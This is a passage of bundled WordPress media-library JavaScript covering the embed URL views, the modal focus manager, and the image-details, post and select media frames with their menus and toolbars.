); // Clear out previous results. this.$('.embed-container').hide().find('.embed-preview').empty(); this.$( '.setting' ).hide(); // Only proceed with embed if the field contains more than 11 characters. // Example: http://a.io is 11 chars if ( url && ( url.length < 11 || ! url.match(/^http(s)?:\/\//) ) ) { return; } this.fetch(); }, wp.media.controller.Embed.sensitivity ), fetch: function() { var url = this.model.get( 'url' ), re, youTubeEmbedMatch; // Check if they haven't typed in 500 ms. if ( $('#embed-url-field').val() !== url ) { return; } if ( this.dfd && 'pending' === this.dfd.state() ) { this.dfd.abort(); } // Support YouTube embed urls, since they work once in the editor. re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/; youTubeEmbedMatch = re.exec( url ); if ( youTubeEmbedMatch ) { url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ]; } this.dfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: url, maxwidth: this.model.get( 'width' ), maxheight: this.model.get( 'height' ) }, type: 'GET', dataType: 'json', context: this }) .done( function( response ) { this.renderoEmbed( { data: { body: response.html || '' } } ); } ) .fail( this.renderFail ); }, renderFail: function ( response, status ) { if ( 'abort' === status ) { return; } this.$( '.link-text' ).show(); }, renderoEmbed: function( response ) { var html = ( response && response.data && response.data.body ) || ''; if ( html ) { this.$('.embed-container').show().find('.embed-preview').html( html ); } else { this.renderFail(); } } }); module.exports = EmbedLink; /***/ }), /***/ 4848: /***/ (function(module) { var View = wp.media.View, $ = jQuery, l10n = wp.media.view.l10n, EmbedUrl; /** * wp.media.view.EmbedUrl * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{ tagName: 'span', className: 'embed-url', events: { 'input': 'url' }, initialize: function() { this.$input = $( '<input id="embed-url-field" type="url" />' ) .attr( 'aria-label', l10n.insertFromUrlTitle ) .val( this.model.get('url') ); this.input = this.$input[0]; this.spinner = $('<span class="spinner" />')[0]; this.$el.append([ this.input, this.spinner ]); this.listenTo( this.model, 'change:url', this.render ); if ( this.model.get( 'url' ) ) { _.delay( _.bind( function () { this.model.trigger( 'change:url' ); }, this ), 500 ); } }, /** * @return {wp.media.view.EmbedUrl} Returns itself to allow chaining. */ render: function() { var $input = this.$input; if ( $input.is(':focus') ) { return; } this.input.value = this.model.get('url') || 'http://'; /** * Call `render` directly on parent class with passed arguments */ View.prototype.render.apply( this, arguments ); return this; }, url: function( event ) { var url = event.target.value || ''; this.model.set( 'url', url.trim() ); } }); module.exports = EmbedUrl; /***/ }), /***/ 6557: /***/ (function(module) { var $ = jQuery; /** * wp.media.view.FocusManager * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{ events: { 'keydown': 'focusManagementMode' }, /** * Initializes the Focus Manager. * * @param {Object} options The Focus Manager options. * * @since 5.3.0 * * @return {void} */ initialize: function( options ) { this.mode = options.mode || 'constrainTabbing'; this.tabsAutomaticActivation = options.tabsAutomaticActivation || false; }, /** * Determines which focus management mode to use. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ focusManagementMode: function( event ) { if ( this.mode === 'constrainTabbing' ) { this.constrainTabbing( event ); } if ( this.mode === 'tabsNavigation' ) { this.tabsNavigation( event ); } }, /** * Gets all the tabbable elements. * * @since 5.3.0 * * @return {Object} A jQuery collection of tabbable elements. */ getTabbables: function() { // Skip the file input added by Plupload. return this.$( ':tabbable' ).not( '.moxie-shim input[type="file"]' ); }, /** * Moves focus to the modal dialog. * * @since 3.5.0 * * @return {void} */ focus: function() { this.$( '.media-modal' ).trigger( 'focus' ); }, /** * Constrains navigation with the Tab key within the media view element. * * @since 4.0.0 * * @param {Object} event A keydown jQuery event. * * @return {void} */ constrainTabbing: function( event ) { var tabbables; // Look for the tab key. if ( 9 !== event.keyCode ) { return; } tabbables = this.getTabbables(); // Keep tab focus within media modal while it's open. if ( tabbables.last()[0] === event.target && ! event.shiftKey ) { tabbables.first().focus(); return false; } else if ( tabbables.first()[0] === event.target && event.shiftKey ) { tabbables.last().focus(); return false; } }, /** * Hides from assistive technologies all the body children. * * Sets an `aria-hidden="true"` attribute on all the body children except * the provided element and other elements that should not be hidden. * * The reason why we use `aria-hidden` is that `aria-modal="true"` is buggy * in Safari 11.1 and support is spotty in other browsers. Also, `aria-modal="true"` * prevents the `wp.a11y.speak()` ARIA live regions to work as they're outside * of the modal dialog and get hidden from assistive technologies. * * @since 5.2.3 * * @param {Object} visibleElement The jQuery object representing the element that should not be hidden. * * @return {void} */ setAriaHiddenOnBodyChildren: function( visibleElement ) { var bodyChildren, self = this; if ( this.isBodyAriaHidden ) { return; } // Get all the body children. bodyChildren = document.body.children; // Loop through the body children and hide the ones that should be hidden. _.each( bodyChildren, function( element ) { // Don't hide the modal element. if ( element === visibleElement[0] ) { return; } // Determine the body children to hide. if ( self.elementShouldBeHidden( element ) ) { element.setAttribute( 'aria-hidden', 'true' ); // Store the hidden elements. self.ariaHiddenElements.push( element ); } } ); this.isBodyAriaHidden = true; }, /** * Unhides from assistive technologies all the body children. * * Makes visible again to assistive technologies all the body children * previously hidden and stored in this.ariaHiddenElements. * * @since 5.2.3 * * @return {void} */ removeAriaHiddenFromBodyChildren: function() { _.each( this.ariaHiddenElements, function( element ) { element.removeAttribute( 'aria-hidden' ); } ); this.ariaHiddenElements = []; this.isBodyAriaHidden = false; }, /** * Determines if the passed element should not be hidden from assistive technologies. * * @since 5.2.3 * * @param {Object} element The DOM element that should be checked. * * @return {boolean} Whether the element should not be hidden from assistive technologies. */ elementShouldBeHidden: function( element ) { var role = element.getAttribute( 'role' ), liveRegionsRoles = [ 'alert', 'status', 'log', 'marquee', 'timer' ]; /* * Don't hide scripts, elements that already have `aria-hidden`, and * ARIA live regions. */ return ! ( element.tagName === 'SCRIPT' || element.hasAttribute( 'aria-hidden' ) || element.hasAttribute( 'aria-live' ) || liveRegionsRoles.indexOf( role ) !== -1 ); }, /** * Whether the body children are hidden from assistive technologies. * * @since 5.2.3 */ isBodyAriaHidden: false, /** * Stores an array of DOM elements that should be hidden from assistive * technologies, for example when the media modal dialog opens. * * @since 5.2.3 */ ariaHiddenElements: [], /** * Holds the jQuery collection of ARIA tabs. * * @since 5.3.0 */ tabs: $(), /** * Sets up tabs in an ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ setupAriaTabs: function() { this.tabs = this.$( '[role="tab"]' ); // Set up initial attributes. this.tabs.attr( { 'aria-selected': 'false', tabIndex: '-1' } ); // Set up attributes on the initially active tab. this.tabs.filter( '.active' ) .removeAttr( 'tabindex' ) .attr( 'aria-selected', 'true' ); }, /** * Enables arrows navigation within the ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ tabsNavigation: function( event ) { var orientation = 'horizontal', keys = [ 32, 35, 36, 37, 38, 39, 40 ]; // Return if not Spacebar, End, Home, or Arrow keys. if ( keys.indexOf( event.which ) === -1 ) { return; } // Determine navigation direction. if ( this.$el.attr( 'aria-orientation' ) === 'vertical' ) { orientation = 'vertical'; } // Make Up and Down arrow keys do nothing with horizontal tabs. if ( orientation === 'horizontal' && [ 38, 40 ].indexOf( event.which ) !== -1 ) { return; } // Make Left and Right arrow keys do nothing with vertical tabs. if ( orientation === 'vertical' && [ 37, 39 ].indexOf( event.which ) !== -1 ) { return; } this.switchTabs( event, this.tabs ); }, /** * Switches tabs in the ARIA tabbed interface. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ switchTabs: function( event ) { var key = event.which, index = this.tabs.index( $( event.target ) ), newIndex; switch ( key ) { // Space bar: Activate current targeted tab. case 32: { this.activateTab( this.tabs[ index ] ); break; } // End key: Activate last tab. case 35: { event.preventDefault(); this.activateTab( this.tabs[ this.tabs.length - 1 ] ); break; } // Home key: Activate first tab. case 36: { event.preventDefault(); this.activateTab( this.tabs[ 0 ] ); break; } // Left and up keys: Activate previous tab. case 37: case 38: { event.preventDefault(); newIndex = ( index - 1 ) < 0 ? this.tabs.length - 1 : index - 1; this.activateTab( this.tabs[ newIndex ] ); break; } // Right and down keys: Activate next tab. case 39: case 40: { event.preventDefault(); newIndex = ( index + 1 ) === this.tabs.length ? 0 : index + 1; this.activateTab( this.tabs[ newIndex ] ); break; } } }, /** * Sets a single tab to be focusable and semantically selected. * * @since 5.3.0 * * @param {Object} tab The tab DOM element. * * @return {void} */ activateTab: function( tab ) { if ( ! tab ) { return; } // The tab is a DOM element: no need for jQuery methods. tab.focus(); // Handle automatic activation. if ( this.tabsAutomaticActivation ) { tab.removeAttribute( 'tabindex' ); tab.setAttribute( 'aria-selected', 'true' ); tab.click(); return; } // Handle manual activation. $( tab ).on( 'click', function() { tab.removeAttribute( 'tabindex' ); tab.setAttribute( 'aria-selected', 'true' ); } ); } }); module.exports = FocusManager; /***/ }), /***/ 3647: /***/ (function(module) { /** * wp.media.view.Frame * * A frame is a composite view consisting of one or more regions and one or more * states. * * @memberOf wp.media.view * * @see wp.media.controller.State * @see wp.media.controller.Region * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{ initialize: function() { _.defaults( this.options, { mode: [ 'select' ] }); this._createRegions(); this._createStates(); this._createModes(); }, _createRegions: function() { // Clone the regions array. this.regions = this.regions ? this.regions.slice() : []; // Initialize regions. _.each( this.regions, function( region ) { this[ region ] = new wp.media.controller.Region({ view: this, id: region, selector: '.media-frame-' + region }); }, this ); }, /** * Create the frame's states. * * @see wp.media.controller.State * @see wp.media.controller.StateMachine * * @fires wp.media.controller.State#ready */ _createStates: function() { // Create the default `states` collection. this.states = new Backbone.Collection( null, { model: wp.media.controller.State }); // Ensure states have a reference to the frame. this.states.on( 'add', function( model ) { model.frame = this; model.trigger('ready'); }, this ); if ( this.options.states ) { this.states.add( this.options.states ); } }, /** * A frame can be in a mode or multiple modes at one time. * * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode. */ _createModes: function() { // Store active "modes" that the frame is in. Unrelated to region modes. this.activeModes = new Backbone.Collection(); this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) ); _.each( this.options.mode, function( mode ) { this.activateMode( mode ); }, this ); }, /** * Reset all states on the frame to their defaults. * * @return {wp.media.view.Frame} Returns itself to allow chaining. */ reset: function() { this.states.invoke( 'trigger', 'reset' ); return this; }, /** * Map activeMode collection events to the frame. */ triggerModeEvents: function( model, collection, options ) { var collectionEvent, modeEventMap = { add: 'activate', remove: 'deactivate' }, eventToTrigger; // Probably a better way to do this. _.each( options, function( value, key ) { if ( value ) { collectionEvent = key; } } ); if ( ! _.has( modeEventMap, collectionEvent ) ) { return; } eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent]; this.trigger( eventToTrigger ); }, /** * Activate a mode on the frame. * * @param string mode Mode ID. * @return {this} Returns itself to allow chaining. */ activateMode: function( mode ) { // Bail if the mode is already active. if ( this.isModeActive( mode ) ) { return; } this.activeModes.add( [ { id: mode } ] ); // Add a CSS class to the frame so elements can be styled for the mode. this.$el.addClass( 'mode-' + mode ); return this; }, /** * Deactivate a mode on the frame. * * @param string mode Mode ID. * @return {this} Returns itself to allow chaining. */ deactivateMode: function( mode ) { // Bail if the mode isn't active. if ( ! this.isModeActive( mode ) ) { return this; } this.activeModes.remove( this.activeModes.where( { id: mode } ) ); this.$el.removeClass( 'mode-' + mode ); /** * Frame mode deactivation event. * * @event wp.media.view.Frame#{mode}:deactivate */ this.trigger( mode + ':deactivate' ); return this; }, /** * Check if a mode is enabled on the frame. * * @param string mode Mode ID. * @return bool */ isModeActive: function( mode ) { return Boolean( this.activeModes.where( { id: mode } ).length ); } }); // Make the `Frame` a `StateMachine`. _.extend( Frame.prototype, wp.media.controller.StateMachine.prototype ); module.exports = Frame; /***/ }), /***/ 9142: /***/ (function(module) { var Select = wp.media.view.MediaFrame.Select, l10n = wp.media.view.l10n, ImageDetails; /** * wp.media.view.MediaFrame.ImageDetails * * A media frame for manipulating an image that's already been inserted * into a post. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{ defaults: { id: 'image', url: '', menu: 'image-details', content: 'image-details', toolbar: 'image-details', type: 'link', title: l10n.imageDetailsTitle, priority: 120 }, initialize: function( options ) { this.image = new wp.media.model.PostImage( options.metadata ); this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } ); Select.prototype.initialize.apply( this, arguments ); }, bindHandlers: function() { Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'menu:create:image-details', this.createMenu, this ); this.on( 'content:create:image-details', this.imageDetailsContent, this ); this.on( 'content:render:edit-image', this.editImageContent, this ); this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this ); // Override the select toolbar. this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.ImageDetails({ image: this.image, editable: false }), new wp.media.controller.ReplaceImage({ id: 'replace-image', library: wp.media.query( { type: 'image' } ), image: this.image, multiple: false, title: l10n.imageReplaceTitle, toolbar: 'replace', priority: 80, displaySettings: true }), new wp.media.controller.EditImage( { image: this.image, selection: this.options.selection } ) ]); }, imageDetailsContent: function( options ) { options.view = new wp.media.view.ImageDetails({ controller: this, model: this.state().image, attachment: this.state().image.attachment }); }, editImageContent: function() { var state = this.state(), model = state.get('image'), view; if ( ! model ) { return; } view = new wp.media.view.EditImage( { model: model, controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, renderImageDetailsToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { select: { style: 'primary', text: l10n.update, priority: 80, click: function() { var controller = this.controller, state = controller.state(); controller.close(); // Not sure if we want to use wp.media.string.image which will create a shortcode or // perhaps wp.html.string to at least to build the <img />. state.trigger( 'update', controller.image.toJSON() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, renderReplaceImageToolbar: function() { var frame = this, lastState = frame.lastState(), previous = lastState && lastState.id; this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { back: { text: l10n.back, priority: 80, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } }, replace: { style: 'primary', text: l10n.replace, priority: 20, requires: { selection: true }, click: function() { var controller = this.controller, state = controller.state(), selection = state.get( 'selection' ), attachment = selection.single(); controller.close(); controller.image.changeAttachment( attachment, state.display( attachment ) ); // Not sure if we want to use wp.media.string.image which will create a shortcode or // perhaps wp.html.string to at least to build the <img />. state.trigger( 'replace', controller.image.toJSON() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); } }); module.exports = ImageDetails; /***/ }), /***/ 9075: /***/ (function(module) { var Select = wp.media.view.MediaFrame.Select, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, Post; /** * wp.media.view.MediaFrame.Post * * The frame for manipulating media on the Edit Post page. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{ initialize: function() { this.counts = { audio: { count: wp.media.view.settings.attachmentCounts.audio, state: 'playlist' }, video: { count: wp.media.view.settings.attachmentCounts.video, state: 'video-playlist' } }; _.defaults( this.options, { multiple: true, editing: false, state: 'insert', metadata: {} }); // Call 'initialize' directly on the parent class. Select.prototype.initialize.apply( this, arguments ); this.createIframeStates(); }, /** * Create the default states. */ createStates: function() { var options = this.options; this.states.add([ // Main states. new Library({ id: 'insert', title: l10n.insertMediaTitle, priority: 20, toolbar: 'main-insert', filterable: 'all', library: wp.media.query( options.library ), multiple: options.multiple ? 'reset' : false, editable: true, // If the user isn't allowed to edit fields, // can they still edit it locally? allowLocalEdits: true, // Show the attachment display settings. displaySettings: true, // Update user settings when users adjust the // attachment display settings. displayUserSettings: true }), new Library({ id: 'gallery', title: l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'image' }, options.library ) ) }), // Embed states. new wp.media.controller.Embed( { metadata: options.metadata } ), new wp.media.controller.EditImage( { model: options.editImage } ), // Gallery states. new wp.media.controller.GalleryEdit({ library: options.selection, editing: options.editing, menu: 'gallery' }), new wp.media.controller.GalleryAdd(), new Library({ id: 'playlist', title: l10n.createPlaylistTitle, priority: 60, toolbar: 'main-playlist', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'audio' }, options.library ) ) }), // Playlist states. new wp.media.controller.CollectionEdit({ type: 'audio', collectionType: 'playlist', title: l10n.editPlaylistTitle, SettingsView: wp.media.view.Settings.Playlist, library: options.selection, editing: options.editing, menu: 'playlist', dragInfoText: l10n.playlistDragInfo, dragInfo: false }), new wp.media.controller.CollectionAdd({ type: 'audio', collectionType: 'playlist', title: l10n.addToPlaylistTitle }), new Library({ id: 'video-playlist', title: l10n.createVideoPlaylistTitle, priority: 60, toolbar: 'main-video-playlist', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query( _.defaults({ type: 'video' }, options.library ) ) }), new wp.media.controller.CollectionEdit({ type: 'video', collectionType: 'playlist', title: l10n.editVideoPlaylistTitle, SettingsView: wp.media.view.Settings.Playlist, library: options.selection, editing: options.editing, menu: 'video-playlist', dragInfoText: l10n.videoPlaylistDragInfo, dragInfo: false }), new wp.media.controller.CollectionAdd({ type: 'video', collectionType: 'playlist', title: l10n.addToVideoPlaylistTitle }) ]); if ( wp.media.view.settings.post.featuredImageId ) { this.states.add( new wp.media.controller.FeaturedImage() ); } }, bindHandlers: function() { var handlers, checkCounts; Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'activate', this.activate, this ); // Only bother checking media type counts if one of the counts is zero. checkCounts = _.find( this.counts, function( type ) { return type.count === 0; } ); if ( typeof checkCounts !== 'undefined' ) { this.listenTo( wp.media.model.Attachments.all, 'change:type', this.mediaTypeCounts ); } this.on( 'menu:create:gallery', this.createMenu, this ); this.on( 'menu:create:playlist', this.createMenu, this ); this.on( 'menu:create:video-playlist', this.createMenu, this ); this.on( 'toolbar:create:main-insert', this.createToolbar, this ); this.on( 'toolbar:create:main-gallery', this.createToolbar, this ); this.on( 'toolbar:create:main-playlist', this.createToolbar, this ); this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this ); this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this ); this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this ); handlers = { menu: { 'default': 'mainMenu', 'gallery': 'galleryMenu', 'playlist': 'playlistMenu', 'video-playlist': 'videoPlaylistMenu' }, content: { 'embed': 'embedContent', 'edit-image': 'editImageContent', 'edit-selection': 'editSelectionContent' }, toolbar: { 'main-insert': 'mainInsertToolbar', 'main-gallery': 'mainGalleryToolbar', 'gallery-edit': 'galleryEditToolbar', 'gallery-add': 'galleryAddToolbar', 'main-playlist': 'mainPlaylistToolbar', 'playlist-edit': 'playlistEditToolbar', 'playlist-add': 'playlistAddToolbar', 'main-video-playlist': 'mainVideoPlaylistToolbar', 'video-playlist-edit': 'videoPlaylistEditToolbar', 'video-playlist-add': 'videoPlaylistAddToolbar' } }; _.each( handlers, function( regionHandlers, region ) { _.each( regionHandlers, function( callback, handler ) { this.on( region + ':render:' + handler, this[ callback ], this ); }, this ); }, this ); }, activate: function() { // Hide menu items for states tied to particular media types if there are no items. _.each( this.counts, function( type ) { if ( type.count < 1 ) { this.menuItemVisibility( type.state, 'hide' ); } }, this ); }, mediaTypeCounts: function( model, attr ) { if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) { this.counts[ attr ].count++; this.menuItemVisibility( this.counts[ attr ].state, 'show' ); } }, // Menus. /** * @param {wp.Backbone.View} view */ mainMenu: function( view ) { view.set({ 'library-separator': new wp.media.View({ className: 'separator', priority: 100, attributes: { role: 'presentation' } }) }); }, menuItemVisibility: function( state, visibility ) { var menu = this.menu.get(); if ( visibility === 'hide' ) { menu.hide( state ); } else if ( visibility === 'show' ) { menu.show( state ); } }, /** * @param {wp.Backbone.View} view */ galleryMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelGalleryTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling a Gallery. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, playlistMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelPlaylistTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling an Audio Playlist. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, videoPlaylistMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: l10n.cancelVideoPlaylistTitle, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } // Move focus to the modal after canceling a Video Playlist. this.controller.modal.focusManager.focus(); } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, // Content. embedContent: function() { var view = new wp.media.view.Embed({ controller: this, model: this.state() }).render(); this.content.set( view ); }, editSelectionContent: function() { var state = this.state(), selection = state.get('selection'), view; view = new wp.media.view.AttachmentsBrowser({ controller: this, collection: selection, selection: selection, model: state, sortable: true, search: false, date: false, dragInfo: true, AttachmentView: wp.media.view.Attachments.EditSelection }).render(); view.toolbar.set( 'backToLibrary', { text: l10n.returnToLibrary, priority: -100, click: function() { this.controller.content.mode('browse'); // Move focus to the modal when jumping back from Edit Selection to Add Media view. this.controller.modal.focusManager.focus(); } }); // Browse our library of attachments. this.content.set( view ); // Trigger the controller to set focus. this.trigger( 'edit:selection', this ); }, editImageContent: function() { var image = this.state().get('image'), view = new wp.media.view.EditImage( { model: image, controller: this } ).render(); this.content.set( view ); // After creating the wrapper view, load the actual editor via an Ajax call. view.loadEditor(); }, // Toolbars. /** * @param {wp.Backbone.View} view */ selectionStatusToolbar: function( view ) { var editable = this.state().get('editable'); view.set( 'selection', new wp.media.view.Selection({ controller: this, collection: this.state().get('selection'), priority: -40, // If the selection is editable, pass the callback to // switch the content mode. editable: editable && function() { this.controller.content.mode('edit-selection'); } }).render() ); }, /** * @param {wp.Backbone.View} view */ mainInsertToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'insert', { style: 'primary', priority: 80, text: l10n.insertIntoPost, requires: { selection: true }, /** * @ignore * * @fires wp.media.controller.State#insert */ click: function() { var state = controller.state(), selection = state.get('selection'); controller.close(); state.trigger( 'insert', selection ).reset(); } }); }, /** * @param {wp.Backbone.View} view */ mainGalleryToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'gallery', { style: 'primary', text: l10n.createNewGallery, priority: 60, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('gallery-edit'), models = selection.where({ type: 'image' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Gallery view. this.controller.setState( 'gallery-edit' ); // Move focus to the modal after jumping to Edit Gallery view. this.controller.modal.focusManager.focus(); } }); }, mainPlaylistToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'playlist', { style: 'primary', text: l10n.createNewPlaylist, priority: 100, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('playlist-edit'), models = selection.where({ type: 'audio' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Audio Playlist view. this.controller.setState( 'playlist-edit' ); // Move focus to the modal after jumping to Edit Audio Playlist view. this.controller.modal.focusManager.focus(); } }); }, mainVideoPlaylistToolbar: function( view ) { var controller = this; this.selectionStatusToolbar( view ); view.set( 'video-playlist', { style: 'primary', text: l10n.createNewVideoPlaylist, priority: 100, requires: { selection: true }, click: function() { var selection = controller.state().get('selection'), edit = controller.state('video-playlist-edit'), models = selection.where({ type: 'video' }); edit.set( 'library', new wp.media.model.Selection( models, { props: selection.props.toJSON(), multiple: true }) ); // Jump to Edit Video Playlist view. this.controller.setState( 'video-playlist-edit' ); // Move focus to the modal after jumping to Edit Video Playlist view. this.controller.modal.focusManager.focus(); } }); }, featuredImageToolbar: function( toolbar ) { this.createSelectToolbar( toolbar, { text: l10n.setFeaturedImage, state: this.options.state }); }, mainEmbedToolbar: function( toolbar ) { toolbar.view = new wp.media.view.Toolbar.Embed({ controller: this }); }, galleryEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updateGallery : l10n.insertGallery, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click: function() { var controller = this.controller, state = controller.state(); controller.close(); state.trigger( 'update', state.get('library') ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, galleryAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToGallery, priority: 80, requires: { selection: true }, /** * @fires wp.media.controller.State#reset */ click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('gallery-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('gallery-edit'); // Move focus to the modal when jumping back from Add to Gallery to Edit Gallery view. this.controller.modal.focusManager.focus(); } } } }) ); }, playlistEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updatePlaylist : l10n.insertPlaylist, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click: function() { var controller = this.controller, state = controller.state(); controller.close(); state.trigger( 'update', state.get('library') ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, playlistAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToPlaylist, priority: 80, requires: { selection: true }, /** * @fires wp.media.controller.State#reset */ click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('playlist-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('playlist-edit'); // Move focus to the modal when jumping back from Add to Audio Playlist to Edit Audio Playlist view. this.controller.modal.focusManager.focus(); } } } }) ); }, videoPlaylistEditToolbar: function() { var editing = this.state().get('editing'); this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist, priority: 140, requires: { library: true }, click: function() { var controller = this.controller, state = controller.state(), library = state.get('library'); library.type = 'video'; controller.close(); state.trigger( 'update', library ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, videoPlaylistAddToolbar: function() { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: l10n.addToVideoPlaylist, priority: 140, requires: { selection: true }, click: function() { var controller = this.controller, state = controller.state(), edit = controller.state('video-playlist-edit'); edit.get('library').add( state.get('selection').models ); state.trigger('reset'); controller.setState('video-playlist-edit'); // Move focus to the modal when jumping back from Add to Video Playlist to Edit Video Playlist view. this.controller.modal.focusManager.focus(); } } } }) ); } }); module.exports = Post; /***/ }), /***/ 8719: /***/ (function(module) { var MediaFrame = wp.media.view.MediaFrame, l10n = wp.media.view.l10n, Select; /** * wp.media.view.MediaFrame.Select * * A frame for selecting an item or items from the media library. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{ initialize: function() { // Call 'initialize' directly on the parent class. MediaFrame.prototype.initialize.apply( this, arguments ); _.defaults( this.options, { selection: [], library: {}, multiple: false, state: 'library' }); this.createSelection(); this.createStates(); this.bindHandlers(); }, /** * Attach a selection collection to the frame. * * A selection is a collection of attachments used for a specific purpose * by a media frame. e.g. Selecting an attachment (or many) to insert into * post content. * * @see media.model.Selection */ createSelection: function() { var selection = this.options.selection; if ( ! (selection instanceof wp.media.model.Selection) ) { this.options.selection = new wp.media.model.Selection( selection, { multiple: this.options.multiple }); } this._selection = { attachments: new wp.media.model.Attachments(), difference: [] }; }, editImageContent: function() { var image = this.state().get('image'), view = new wp.media.view.EditImage( { model: image, controller: this } ).render(); this.content.set( view ); // After creating the wrapper view, load the actual editor via an Ajax call. view.loadEditor(); }, /** * Create the default states on the frame. */ createStates: function() { var options = this.options; if ( this.options.states ) { return; } // Add the default states. this.states.add([ // Main states. new wp.media.controller.Library({ library: wp.media.query( options.library ), multiple: options.multiple, title: options.title, priority: 20 }), new wp.media.controller.EditImage( { model: options.editImage } ) ]); }, /** * Bind region mode event callbacks. * * @see 